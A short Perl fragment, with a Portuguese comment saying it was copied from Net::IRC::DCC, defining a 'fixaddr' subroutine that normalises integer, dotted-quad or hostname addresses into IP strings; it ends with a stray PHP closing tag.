# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) 
sub fixaddr { 
    my ($address) = @_; 
 
    chomp $address;     # just in case, sigh. 
    if ($address =~ /^\d+$/) { 
        return inet_ntoa(pack "N", $address); 
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { 
        return $address; 
    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation! 
        return inet_ntoa(((gethostbyname($address))[4])[0]); 
    } else { 
        return; 
    } 
} 
 
 
 
 ?>